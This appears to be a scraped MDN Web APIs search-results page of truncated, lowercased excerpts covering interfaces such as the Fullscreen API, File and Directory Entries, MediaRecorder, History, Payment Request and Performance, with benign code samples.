the file and directory entries api simulates a local file system that web apps can navigate within and access files in. you can develop apps which read, write, and create files and/or directories in a virtual, sandboxed file system. because this is a non-standard api, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. check the browser compatibility section for details. two very similar apis exist depending on whether you desire asynchronous or synchronous behavior. the synchronous api is intended to be used inside a worker and will return the values you desire. the asynchronous api will not block and functions and the api will not return values; instead,...
...er it arrives. the firefox implementation of the file and directory entries api is very limited; there is no support for creating files. only for accessing files which are selected by the user in a file <input> element (see htmlinputelement as well) or when a file or directory is provided to the web site or app using drag and drop. firefox also does not implement the synchronous api. check the browser compatibility for any part of the api you use carefully, and see file and directory entries api support in firefox for more details. getting access to a file system there are two ways to get access to file systems defined in the current specification draft: when handling a drop event for drag and drop, you can call datatransferitem.webkitgetasentry() to get the filesystementry for a dropp...
... selected files, but only if they are dragged-and-dropped onto the file chooser (bug 1326031). if htmlinputelement.webkitdirectory is true, the <input> element is instead a directory picker, and you get filesystemdirectoryentry objects for each selected directory. asynchronous api the asynchronous api should be used for most operations, to prevent file system accesses from blocking the entire browser if used on the main thread. it includes the following interfaces: filesystem represents a file system. filesystementry the basic interface representing a single entry in a file system. this is implemented by other interfaces which represent files or directories. filesystemfileentry represents a single file in a file system. filesystemdirectoryentry represents a single directory in a f...
...nd are implemented only by google chrome). they're available on the window object and implemented in localfilesystem: requestfilesystem() and resolvelocalfilesystemurl(). synchronous api the synchronous api is should only be used in workers; these calls block until they're finished executing, and simply return the results instead of using callbacks. using them on the main thread will block the browser, which is naughty. the interfaces below otherwise mirror the ones from the asynchronous api. filesystemsync represents a file system. filesystementrysync the basic interface representing a single entry in a file system. this is implemented by other interfaces which represent files or directories. filesystemfileentrysync represents a single file in a file system. filesystemdirectoryentr...
Guide to the Fullscreen API - Web APIs
activating full-screen mode given an element that you'd like to present in full-screen mode (such as a <video>, for example), you can present it in full-screen mode by simply calling its requestfullscreen() method. ...
...kit). if it's null, the document is currently in windowed mode, so we need to switch to fullscreen mode. switching to fullscreen mode is done by calling element.requestfullscreen(). if fullscreen mode is already active (fullscreenelement is non-null), we call document.exitfullscreen(). prefixing note: currently, only firefox 64 and chrome 71 supports this unprefixed. for the moment not all browsers are implementing the unprefixed version of the api (for vendor agnostic access to the fullscreen api you can use fscreen). here is the table summarizing the prefixes and name differences between them: standard webkit (safari) / blink (chrome & opera) / edge gecko (firefox) internet explorer document.fullscreen webkitisfullscreen mozfullscreen - ...
...reenerror onmsfullscreenerror document.exitfullscreen() webkitexitfullscreen() mozcancelfullscreen() msexitfullscreen() element.requestfullscreen() webkitrequestfullscreen() mozrequestfullscreen() msrequestfullscreen() specifications specification status comment fullscreen api living standard initial version. browser compatibility document.fullscreen the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfu...
...ortdeprecated. not for use in new websites.deprecated. not for use in new websites.user must explicitly enable this feature.user must explicitly enable this feature.uses a non-standard name.uses a non-standard name. document.fullscreenenabled the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullscreenenabledchrome full support 45 full support 45 full support ...
GlobalEventHandlers.onerror - Web APIs
lement.onerror accepts a function with a single argument of type event. a good example for this is when you are using an image tag, and need to specify a backup image in case the one you need is not available on the server for any reason. ...
...ve the this.onerror=null in the function is that the browser will be stuck in an endless loop if the onerror image itself generates an error. notes when an error occurs in a script, loaded from a different origin, the details of the error are not reported to prevent leaking information (see bug 363897). instead the error reported is simply "script error." this behavior can be overriden in some browsers using the crossorigin attribute on <script> and having the server send the appropriate cors http response headers. a workaround is to isolate "script error." and handle it knowing that the error detail is only viewable in the browser console and not accessible via javascript. window.onerror = function (msg, url, lineno, columnno, error) { var string = msg.tolowercase(); var substring = "...
...priate cors http response headers. a workaround is to isolate "script error." and handle it knowing that the error detail is only viewable in the browser console and not accessible via javascript. ...
... specifications specification status comment html living standardthe definition of 'onerror' in that specification. living standard ...
HTMLImageElement - Web APIs
thout parameters, new image() is equivalent to calling document.createelement("img"). properties inherits properties from its parent, htmlelement. htmlimageelement.alt a domstring that reflects the alt html attribute, thus indicating the alternate fallback content to be displayed if the image has not been loaded. htmlimageelement.complete read only returns a boolean that is true if the browser has finished fetching the image, whether successful or not. that means this value is also true if the image has no src value indicating an image to load. htmlimageelement.crossorigin a domstring specifying the cors setting for this image element. see cors settings attributes for further details. this may be null if cors is not used. htmlimageelement.currentsrc read only returns a usvstring...
...for further details. this may be null if cors is not used. htmlimageelement.currentsrc read only returns a usvstring representing the url from which the currently displayed image was loaded. this may change as the image is adjusted due to changing conditions, as directed by any media queries which are in place. htmlimageelement.decoding an optional domstring representing a hint given to the browser on how it should decode the image. if this value is provided, it must be one of the possible permitted values: sync to decode the image synchronously, async to decode it asynchronously, or auto to indicate no preference (which is the default). read the decoding page for details on the implications of this property's values. htmlimageelement.height an integer value that reflects the height htm...
...ribute, indicating that the image is part of a server-side image map. this is different from a client-side image map, specified using an <img> element and a corresponding <map> which contains <area> elements indicating the clickable areas in the image. the image must be contained within an <a> element; see the ismap page for details. htmlimageelement.loading a domstring providing a hint to the browser used to optimize loading the document by determining whether to load the image immediately (eager) or on an as-needed basis (lazy). htmlimageelement.naturalheight read only returns an integer value representing the intrinsic height of the image in css pixels, if it is available; else, it shows 0. this is the height the image would be if it were rendered at its natural full size. htmlimageel...
...usvstring specifying the url at which a long description of the image's contents may be found. this is used to turn the image into a hyperlink automatically. modern html should instead simply place an <img> inside an <a> element defining the hyperlink. htmlimageelement.lowsrc a usvstring specifying the url of a low-quality (but faster to load) version of the same image. this was once used by browsers under constrained network conditions or on slow devices. htmlimageelement.name a domstring representing the name of the element. htmlimageelement.vspace an integer value specifying the amount of empty space, in pixels, to leave above and below the image. methods inherits properties from its parent, htmlelement. htmlimageelement.decode() returns a promise that resolves when the i...
HTMLTableElement - Web APIs
doesn't represent a <tfoot>, a domexception with the hierarchyrequesterror name is thrown. if a correct object is given, it is inserted in the tree immediately before the first element that is neither a <caption>, a <colgroup>, nor a <thead>, or as the last child if there is no such element, and the first <tfoot> that is a child of this element is removed from the tree, if any. htmltableelement.rowsread only returns a live htmlcollection containing all the rows of the element, that is all <tr> that are a child of the element, or a child of one of its <thead>, <tbody> and <tfoot> children. the rows members of a <thead> appear first, in tree order, and those members of a <tbody> last, also in tree order. the htmlcollection is live and is automatically updated when the htmltableelement change...
...the external borders of the table. it reflects the obsolete frame attribute and can take one of the following values: "void", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", or "border". htmltableelement.rules is a domstring containing the type of the internal borders of the table. it reflects the obsolete rules attribute and can take one of the following values: "none", "groups", "rows", "cols", or "all". htmltableelement.summary is a domstring containing a description of the purpose or the structure of the table. it reflects the obsolete summary attribute. htmltableelement.width is a domstring containing the length in pixels or in percentage of the desired width fo the entire table. it reflects the obsolete width attribute. methods inherits methods from its parent,...
... htmlelement representing the first <caption> that is a child of the element. if none is found, a new one is created and inserted in the tree as the first child of the <table> element. htmltableelement.deletecaption() removes the first <caption> that is a child of the element. htmltableelement.insertrow() returns an htmltablerowelement representing a new row of the table. it inserts it in the rows collection immediately before the <tr> element at the given index position. if necessary a <tbody> is created. if the index is -1, the new row is appended to the collection. if the index is smaller than -1 or greater than the number of rows in the collection, a domexception with the value indexsizeerror is raised. htmltableelement.deleterow() removes the row corresponding to the index given in ...
... specifications specification status comment html living standardthe definition of 'htmltableelement' in that specification. ...
HTMLTableRowElement.rowIndex - Web APIs
syntax var index = htmltablerowelement.rowindex value returns the index of the row, or -1 if the row is not part of a table. example this example uses javascript to label all the row numbers in a table. ...
... syntax var index = htmltablerowelement.rowindex value returns the index of the row, or -1 if the row is not part of a table. example this example uses javascript to label all the row numbers in a table. ...
...ple uses javascript to label all the row numbers in a table. ...
...numbers in a table. ...
The HTML DOM API - Web APIs
eas included in the html dom api include: access to and control of html elements via the dom. access to and manipulation of form data. interacting with the contents of 2d images and the context of an html <canvas>, for example to draw on top of them. management of media connected to the html media elements (<audio> and <video>). dragging and dropping of content on webpages. access to the browser navigation history supporting and connective interfaces for other apis such as web components, web storage, web workers, websocket, and server-sent events. html dom concepts and usage in this article, we'll focus on the parts of the html dom that involve engaging with html elements. discussion of other areas, such as drag and drop, websockets, web storage, etc. can be found in the documenta...
...esents a single element in a document created using either html or an xml vocabulary such as svg. for example, consider a document with two elements, one of which has two more elements nested inside it: while the document interface is defined as part of the dom specification, the html specification significantly enhances it to add information specific to using the dom in the context of a web browser, as well as to using it to represent html documents specifically. among the things added to document by the html standard are: support for accessing various information provided by the http headers when loading the page, such as the location from which the document was loaded, cookies, modification date, referring site, and so forth. access to lists of elements in the document's <head> blo...
... htmltemplateelement htmltextareaelement htmltimeelement htmltitleelement htmltrackelement htmlulistelement htmlunknownelement htmlvideoelement deprecated html element interfaces htmlmarqueeelement obsolete html element interfaces htmlbasefontelement htmlfontelement htmlframeelement htmlframesetelement htmlisindexelement htmlmenuitemelement web app and browser integration interfaces these interfaces offer access to the browser window and document that contain the html, as well as to the browser's state, available plugins (if any), and various configuration options. barprop navigator window deprecated web app and browser integration interfaces external obsolete web app and browser integration interfaces applicationcache plugi...
...rack videotracklist drag and drop interfaces these interfaces are used by the html_drag_and_drop_api to represent individual draggable (or dragged) items, groups of dragged or draggable items, and to handle the drag and drop process. datatransfer datatransferitem datatransferitemlist dragevent page history interfaces the history api interfaces let you access information about the browser's history, as well as to shift the browser's current tab forward and backward through that history. beforeunloadevent hashchangeevent history location pagetransitionevent popstateevent web components interfaces these interfaces are used by the web components api to create and manage the available custom elements. customelementregistry miscellaneous and supporting interfaces ...
History - Web APIs
Web › API › History
properties the history interface doesn't inherit any property. length read only returns an integer representing the number of elements in the session history, including the currently loaded page. for example, for a page loaded in a new tab this property returns 1. scrollrestoration allows web applications to explicitly set default scroll restoration behavior on history navigation. this property can be either auto or manual. state read only returns an any value representing the state at the top of the history stack. ...
...erty can be either auto or manual. state read only returns an any value representing the state at the top of the history stack. this is a way to look at the state without having to wait for a popstate event. methods the history interface doesn't inherit any methods. back() this asynchronous method goes to the previous page in session history, the same action as when the user clicks the browser's back button. equivalent to history.go(-1). calling this method to go back beyond the first page in the session history has no effect and doesn't raise an exception. forward() this asynchronous method goes to the next page in session history, the same action as when the user clicks the browser's forward button; this is equivalent to history.go(1). calling this method to go forward beyond...
...ameters or a value of 0 reloads the current page. internet explorer lets you specify a string, instead of an integer, to go to a specific url in the history list. pushstate() pushes the given data onto the session history stack with the specified title (and, if provided, url). the data is treated as opaque by the dom; you may specify any javascript object that can be serialized. ...
...for more information, see working with the history api. specifications specification status comment html living standardthe definition of 'history' in that specification. living standard adds the scrollrestoration attribute. ...
IDBTransactionSync - Web APIs
inally intended for use only with web workers, and was eventually removed from the spec because its need was questionable. it may however be reintroduced in the future if there is enough demand from web developers. the idbtransactionsync interface of the indexeddb api provides a synchronous transaction on a database. when an application creates an idbtransactionsync object, it blocks until the browser is able to reserve the require database objects. method overview void abort() raises (idbdatabaseexception); void commit() raises (idbdatabaseexception); idbobjectstoresync objectstore(in domstring name) raises (idbdatabaseexception); attributes attribute type description db idbdatabasesync the database connection that this...
...ute type description db idbdatabasesync the database connection that this transaction is associated with. static boolean if true, this transaction is static; if false, this transaction is dynamic. methods abort() call this method to signal a need to cancel the effects of the operations performed by this transaction. when this method is called, the browser ignores all the changes performed to the objects of this database since this transaction was created. void abort( ) raises (idbdatabaseexception); exceptions this method can raise an idbdatabaseexception with the following code: non_transient_err if this transaction has already been committed or aborted. commit() call this method to signal that the transaction has completed normally ...
...f this database since this transaction was created. void abort( ) raises (idbdatabaseexception); exceptions this method can raise an idbdatabaseexception with the following code: non_transient_err if this transaction has already been committed or aborted. commit() call this method to signal that the transaction has completed normally and satisfactorily. ...
... objectstore() returns an object store that has already been added to the scope of this transaction. idbobjectstoresync objectstore( in domstring name ) raises (idbdatabaseexception); parameters name the name of the requested object store. ...
IDBVersionChangeRequest.setVersion() - Web APIs
the idbversionchangerequest.setversion method updates the version of the database, returning immediately and running a versionchange transaction on the connected database in a separate thread. for older webkit browsers, call this method before creating or deleting an object store. warning: the latest draft of the specification has dropped this method. some not up-to-date browsers still implement this method. the new way is to define the version in the idbdatabase.open() method and create and delete object stores in the onupgradeneeded event handler associated with the returned request. syntax idbversionchangerequest setversion ([treatnullas=emptystring] in domstring version); example tbd parameters version the version to store in the database. returns idbversionchangereque...
...e idbdatabase.open() method and create and delete object stores in the onupgradeneeded event handler associated with the returned request. syntax idbversionchangerequest setversion ([treatnullas=emptystring] in domstring version); example tbd parameters version the version to store in the database. returns idbversionchangerequest the request to change the version of a database. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetversion deprecatednon...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
MediaDevices.getDisplayMedia() - Web APIs
ts object specifying requirements for the returned mediastream. since getdisplaymedia() requires a video track, the returned stream will have one even if no video track is expressly requested by the constraints object. return value a promise that resolves to a mediastream containing a video track whose contents come from a user-selected screen area, as well as an optional audio track. note: browser support for audio tracks varies, both in terms of whether or not they're supported at all by the media recorder and in terms of the which audio source or sourcoes are supported. check the compatibility table for details for each browser. exceptions rejections of the returned promise are made by passing a domexception error object to the promise's failure handler. possible errors are: abor...
...curred. invalidstateerror the call to getdisplaymedia() was not made from code running due to a user action, such as an event handler. another potential cause for this event: the document in whose context getdisplaymedia() was called is not fully active; for example, perhaps it is not the frontmost tab. notallowederror permission to access a screen area was denied by the user, or the current browsing instance is not permitted access to screen sharing. notfounderror no sources of screen video are available for capture. notreadableerror the user selected a screen, window, tab, or other source of screen data, but a hardware or operating system level error or lockout occurred, preventing the sharing of the selected source. overconstrainederror after creating the stream, applying the spec...
...nclude constraints which are not permitted when calling getdisplaymedia(). these unsupported constraints are advanced and any constraints which in turn have a member named min or exact. usage notes privacy and security because getdisplaymedia() could be used in nefarious ways, it can be a source of significant privacy and security concerns. for that reason, the specification details measures browsers are required to take in order to fully support getdisplaymedia(). the specified constraints can't be used to limit the options available to the user. instead, they must be applied after the user chooses a source, in order to generate output that matches the constraints. the go-ahead permission to use getdisplaymedia() cannot be persisted for reuse. the user must be prompted for permission ...
...to the user. instead, they must be applied after the user chooses a source, in order to generate output that matches the constraints. the go-ahead permission to use getdisplaymedia() cannot be persisted for reuse. the user must be prompted for permission every time. the call to getdisplaymedia() must be made from code which is running in response to a user action, such as in an event handler. browsers are encouraged to provide a warning to users about sharing displays or windows that contain browsers, and to keep a close eye on what other content might be getting captured and shown to other users. example in the example below, a startcapture() method is created which initiates screen capture given a set of options specified by the displaymediaoptions parameter. the options are specified ...
Using the MediaStream Recording API - Web APIs
t overkill for such a simple layout. instead, the problem was solved by making the third container's height equal to 100% of the parent height, minus the heights and padding of the other two: .sound-clips { box-shadow: inset 0 3px 4px rgba(0,0,0,0.7); background-color: rgba(0,0,0,0.1); height: calc(100% - 240px - 0.7rem); overflow: scroll; } note: calc() has good support across modern browsers too, even going back to internet explorer 9. checkbox hack for showing/hiding this is fairly well documented already, but we thought we'd give a mention to the checkbox hack, which abuses the fact that you can click on the <label> of a checkbox to toggle it checked/unchecked. in web dictaphone this powers the information screen, which is shown/hidden by clicking the question mark icon in th...
...next, we call getusermedia() and inside it define: the constraints: only audio is to be captured for our dictaphone. the success callback: this code is run once the getusermedia call has been completed successfully. the error/failure callback: the code is run if the getus...
...ced inside the getusermedia success callback. capturing the media stream once getusermedia has created a media stream successfully, you create a new media recorder instance with the mediarecorder() constructor and pass it the stream directly. this is your entry point into using the mediarecorder api — the stream is now ready to be captured into a blob, in the default encoding format of your browser. const mediarecorder = new mediarecorder(stream); there are a series of methods available in the mediarecorder interface that allow you to control recording of the media stream; in web dictaphone we just make use of two, and listen to some events. first of all, mediarecorder.start() is used to start recording the stream once the record button is pressed: record.onclick = function() { media...
...ckground = "red"; record.style.color = "black"; } when the mediarecorder is recording, the mediarecorder.state property will return a value of "recording". as recording progresses, we need to collect the audio data. we register an event handler to do this using mediarecorder.ondataavailable: let chunks = []; mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } note: the browser will fire dataavailable events as needed, but if you want to intervene you can also include a timeslice when invoking the start() method — for example start(10000) — to control this interval, or call mediarecorder.requestdata() to trigger an event when you need it. lastly, we use the mediarecorder.stop() method to stop the recording when the stop button is pressed, and finalize the blob r...
MediaTrackSettings.groupId - Web APIs
the mediatracksettings dictionary's groupid property is a browsing-session unique domstring which identifies the group of devices which includes the source for the mediastreamtrack. this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.groupid property you provided when calling either getusermedia(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc r...
...as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var groupid = mediatracksettings.groupid; value a domstring whose value is a browsing-session unique identifier for a group of devices which includes the source of the track's contents. two devices share the same group id if they belong to the same physical hardware device. ...
...however, it can be used to ensure that audio input and output are both being performed on the same headset, for example, or to ensure that the built-in camera and microphone on a phone are being used for video conferencing purposes. ...
... both being performed on the same headset, for example, or to ensure that the built-in camera and microphone on a phone are being used for video conferencing purposes. the actual value of the string, however, is determined by the source of the track, and there is no guarantee what form it will take, although the specification does recommend it be a guid. since this property isn't stable across browsing sessions, its usefulness when calling getusermedia() is generally limited to ensuring that tasks performed during the same browsing session use devices from the same group (or that they don't use devices from the same group). there is no situation in which the groupid is useful when calling applyconstraints(), since the value can't be changed. example see example: constraint exerciser in cap...
Using the Media Capabilities API - Web APIs
the media capabilities api provides several key features to help you better decide how to handle media, but also to determine how well media is being handled, in real time. these features include: the ability to query the browser to determine its ability to encode or decode media given a specified set of encoding parameters. these parameters may include the codecs, resolutions, bit rates, frame rates, and other such details. with the media capabilities api, you can determine not just if the browser can support a given format, but whether or not it can do so efficiently and smoothly. in short, this api replaces—and improves upon—the mediasource method istypesupported() or the htmlmediaelement method canplaytype(). more and more finely-detailed information about the display's properties...
...nformed decisions about adapting the stream's quality or other settings to manage the user's perceived media performance and quality. one feature of this is the ability to detect when the device switches gpus, so you can make appropriate adjustments based on the new gpu's capabilities. note: the display capabilities functionality mentioned in the third point above have not yet appeared in any browser. they will be a useful feature of the api once available, but there is a high probability of the display capabilities functionality changing a great deal before browser implementations arrive. the mediacapabilities interface the mediacapabilities is available using the mediacapabilities property which is provided by both the navigator object and the workernavigator object; in other words, th...
...lerate: 5200 } }; had we been testing encoding capabilities, we would have created a mediaencodingconfiguration, which requires the type of media being tested — either record (for recording media, i.e. a mediarecorder object) or transmission (for media transmitted over electronic means like rtcpeerconnection) — plus either an audio or video configuration as described above. querying the browser about decoding abilities now that we've created a video decoding configuration we can pass it as a paramater of the decodinginfo() method to determine if a video matching this configuration would be decodable and if the playback would be smooth and power efficient. var promise = navigator.mediacapabilities.decodinginfo(videoconfiguration); the decodinginfo() and encodinginfo() methods both r...
...ontenttype not being a valid codec mime type, or invalid or omitted definitions required in the videoconfiguration. ...
Transcoding assets for Media Source Extensions - Web APIs
when working with media source extensions, it is likely that you need to condition your assets before you can stream them. this article takes you through the requirements and shows you a toolchain you can use to encode your assets appropriately. getting started the first and most important step is to ensure that your files are comprised of a container and codec that users' browsers support. depending on the codec, you might need to fragment the file to comply with the iso bmff spec. (optional) if you decide to use dynamic adaptive streaming over http (dash) for adaptive bitrate streaming, you need to transcode your assets into multiple resolutions. most dash clients expect a corresponding media presentation description (mpd) manifest file, which is typically generated while gener...
...ot include libfdk_aac due to licensing reasons. bento4 uses this by default, so you need to compile ffmpeg if necessary. if you don't need it, add --audio-codec=aac to the mp4-dash-encode.py command line. container and codec support as specified in section 1.1 of the mse spec: goals, mse is designed not to require support for any particular media format or codec. ...
... need to compile ffmpeg if necessary. if you don't need it, add --audio-codec=aac to the mp4-dash-encode.py command line. container and codec support as specified in section 1.1 of the mse spec: goals, mse is designed not to require support for any particular media format or codec. while this is true on paper, browser support varies for specific container/codec combinations. to check if the browser supports a particular container, you can pass a string of the mime type to the mediasource.istypesupported method: mediasource.istypesupported('audio/mp3'); // false mediasource.istypesupported('video/mp4'); // true mediasource.istypesupported('video/mp4; codecs="avc1.4d4028, mp4a.40.2"'); // true the string is the mime type of the container, optionally followed by a list of codecs. while the...
...ed('video/mp4'); // true mediasource.istypesupported('video/mp4; codecs="avc1.4d4028, mp4a.40.2"'); // true the string is the mime type of the container, optionally followed by a list of codecs. while the mime type is fairly simple to figure out, we can get the codec string using the mp4info utility. currently, mp4 containers with h.264 video and aac audio codecs have support across all modern browsers, while others don't. to convert our sample media from a quicktime mov container to an mp4 container, we can use ffmpeg. because the audio codec in the mov container is already aac and the video codec is h.264, we can instruct ffmpeg not to perform transcoding. instead, it will just copy the audio and video tracks over without performing any transcoding, which is relatively faster than having...
MouseEvent.pageX - Web APIs
Web › API › MouseEvent › pageX
account any horizontal scrolling of the page. for example, if the page is scrolled such that 200 pixels of the left side of the document are scrolled out of view, and the mouse is clicked 100 pixels inward from the left edge of the view, the value returned by pagex will be 300. originally, this property was defined as a long integer. the cssom view module redefined it as a double float. see the browser compatibility section for details. see page in coordinate systems for some additional information about coordinates specified in this fashion. syntax var pagex = mouseevent.pagex; value a floating-point number of pixels from the left edge of the document at which the mouse was clicked, regardless of any scrolling or viewport positioning that may be in effect. this property was originally ...
...any scrolling or viewport positioning that may be in effect. this property was originally specified in the touch events specification as a long integer, but was redefined in the cssom view module to be a double-precision floating-point number to allow for subpixel precision. even though numeric types both are represented by number in javascript, they may be handled differently internally in the browser's code, resulting in potential behavior differences. see browser compatibility to learn which browsers have been updated to use the revised data type. example more examples you can also see an example that demonstrates how to access the mouse position information in every available coordinate system. let's take a look at a simple example that shows you the mouse's position relative to the p...
...e the revised data type. example more examples you can also see an example that demonstrates how to access the mouse position information in every available coordinate system. let's take a look at a simple example that shows you the mouse's position relative to the page's origin. since this example is presented in an <iframe>, that top-left corner is the top-left corner of the frame, not the browser window. javascript var box = document.queryselector(".box"); var pagex = document.getelementbyid("x"); var pagey = document.getelementbyid("y"); function updatedisplay(event) { pagex.innertext = event.pagex; pagey.innertext = event.pagey; } box.addeventlistener("mousemove", updatedisplay, false); box.addeventlistener("mouseenter", updatedisplay, false); box.addeventlistener("mouseleave"...
... ...
Online and offline events - Web APIs
overview in order to build a good offline-capable web application, you need to know when your application is actually offline. you also need to know when your application has returned to an 'online' status again. effectively, the requirements break down as such: you need to know when the user comes back online, so that you can re-synchronize with the server. you need to know when the user is offline, so that you can queue your server requests for a later time. it is this process that online/offline events help to simplify. api navigator.online navigator.online is a property that maintains a true/false value (true for online, false for offline). ...
...me. it is this process that online/offline events help to simplify. api navigator.online navigator.online is a property that maintains a true/false value (true for online, false for offline). this property is updated whenever the user switches into "offline mode" by selecting the corresponding menu item (file -> work offline in firefox). additionally, this property should update whenever a browser is no longer capable of connecting to the network. according to the specification: the navigator.online attribute must return false if the user agent will not contact the network when the user follows links or when a script requests a remote page (or knows that such an attempt would fail)... firefox 2 updates this property when switching to/from the browser's offline mode. firefox 41 updates ...
.... this property existed in older versions of firefox and internet explorer (the specification based itself off of these prior implementations), so you can begin using it immediately. network status autodetection was implemented in firefox 2. "online" and "offline" events firefox 3 introduces two new events: "online" and "offline". these two events are fired on the <body> of each page when the browser switches between online and offline mode. additionally, the events bubble up from document.body, to document, ending at window. both events are non-cancellable (you can't prevent the user from coming online, or going offline). firefox 41 fires these events when the os reports a change in network connectivity on windows, linux, and os x. you can register listeners for these events in a few fam...
... references 'online/offline events' section from the whatwg web applications 1.0 specification the bug tracking online/offline events implementation in firefox and a follow-up a simple test case an explanation of online/offline events ...
Node.removeChild() - Web APIs
Web › API › Node › removeChild
r in your code, via the oldchild object reference. in the second syntax form, however, there is no oldchild reference kept, so assuming your code has not kept any other reference to the node elsewhere, it will immediately become unusable and irretrievable, and will usually be automatically deleted from memory after a short time. ...
...and irretrievable, and will usually be automatically deleted from memory after a short time. if child is actually not a child of the element node, the method throws an exception. ...
..., the method throws an exception. this will also happen if child was in fact a child of element at the time of the call, but was removed by an event handler invoked in the course of trying to remove the element (e.g., blur.) errors thrown the method throws an exception in 2 different ways: if the child was in fact a child of element and so existing on the dom, but was removed the method throws the following exception: uncaught notfounderror: failed to execute 'removechild' on 'node': the node to be removed is not a child of this node. if the child doesn't exist on the dom of the page, the method throws the following exception: uncaught typeerror: failed to execute 'removechild' on 'node': parameter 1 is not of type 'node'. examples simple examples given this html:...
....parentnode.removechild(node); } to remove all children from an element: let element = document.getelementbyid("top"); while (element.firstchild) { element.removechild(element.firstchild); } causing a typeerror <!--sample html code--> <div id="top"> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // throws uncaught typeerror let garbage = top.removechild(nested); </script> causing a notfounderror <!--sample html code--> <div id="top"> <div id="nested"></div> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // this first call correctly removes the node let garbage = top.removechild(nested); // throws ...
Notification.requestPermission() - Web APIs
it's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification. ...
...e and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification. ...
...ssion === "granted") { var notification = new notification("hi there!"); } }); } // at last, if the user has denied notifications, and you // want to be respectful there is no need to bother them any more. ...
...firefox is already doing this from version 72, for example. ...
PasswordCredential - Web APIs
note: this interface is restricted to top-level contexts and cannot be used from an <iframe>. constructor passwordcredential()secure context creates a new passwordcredential object. properties inherits properties from its ancestor, credential. passwordcredential.additionaldata secure context one of a formdata instance, a urlsearchparams instance, or null. ...
...ice expects. event handlers none. methods none. examples var cred = new passwordcredential({ id: id, password: password, name: name, iconurl: iconurl }); navigator.credentials.store(cred) .then(function() { // do something else. }); specifications specification status comment credential management level 1 working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpasswordcredential expe...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
Payment Request API - Web APIs
s needed to complete a payment online, potentially doing away with checkout forms. it aims to make the checkout process easier, by remembering a user's details, which are then passed along to a merchant hopefully without requiring a html form. advantages of using the payment request api with "basic-card" (card-based payments): fast purchase experience: users enter their details once into the browser and are then ready to pay for goods and services on the web. they no longer have to fill out the same details repeatedly across different sites. consistent experience on every site (that supports the api): as the payment sheet is controlled by the browser, it can tailor the experience to the user. this can include localizing the ui into the user's preferred language. accessibility: as the bro...
... (that supports the api): as the payment sheet is controlled by the browser, it can tailor the experience to the user. this can include localizing the ui into the user's preferred language. accessibility: as the browser controls the input elements of the payment sheet, it can assure consistent keyboard and screen reader accessibility on every website without developers needing to do anything. a browser could also adjust the font size or color contrast of the payment sheet, making it more comfortable for the user to make a payment. credentials management: users can manage their credit cards and shipping addresses directly in the browser. a browser can also sync these "credentials" across devices, making it easy for users to jump from desktop to mobile and back again when buying things. consi...
...nt size or color contrast of the payment sheet, making it more comfortable for the user to make a payment. credentials management: users can manage their credit cards and shipping addresses directly in the browser. a browser can also sync these "credentials" across devices, making it easy for users to jump from desktop to mobile and back again when buying things. consistent error handling: the browser can check the validity of card numbers, and can tell the user if a card has expired (or is about to expire). the browser can automatically suggest which card to use based on past usage patterns or restrictions from the merchant (e.g, "we only accept visa or mastercard"), or allow the user to say which is their default/favorite card. to request a payment, a web page creates a paymentrequest ob...
...aymentrequestupdateevent enables the web page to update the details of the payment request in response to a user action. paymentmethodchangeevent represents the user changing payment instrument (e.g., switching from a credit card to debit card). paymentresponse an object returned after the user selects a payment method and approves a payment request. merchantvalidationevent represents the browser requiring the merchant (website) to validate themselves as allowed to use a particular payment handler (e.g., registered as allowed to use apple pay). dictionaries addresserrors a dictionary containing strings providing descriptive explanations of any errors in any paymentaddress entries which have errors. payererrors a dictionary containing strings providing descriptive explanations...
Performance - Web APIs
andard extension added in chrome, this property provides an object with basic memory usage information. you should not use this non-standard api. performance.timeorigin read only returns the high resolution timestamp of the start time of the performance measurement. methods the performance interface doesn't inherit any methods. performance.clearmarks() removes the given mark from the browser's performance entry buffer. performance.clearmeasures() removes the given measure from the browser's performance entry buffer. performance.clearresourcetimings() removes all performance entries with a entrytype of "resource" from the browser's performance data buffer. performance.getentries() returns a list of performanceentry objects based on the given filter. performance.getentriesbyna...
... performance.now() returns a domhighrestimestamp representing the number of milliseconds elapsed since a reference instant. ...
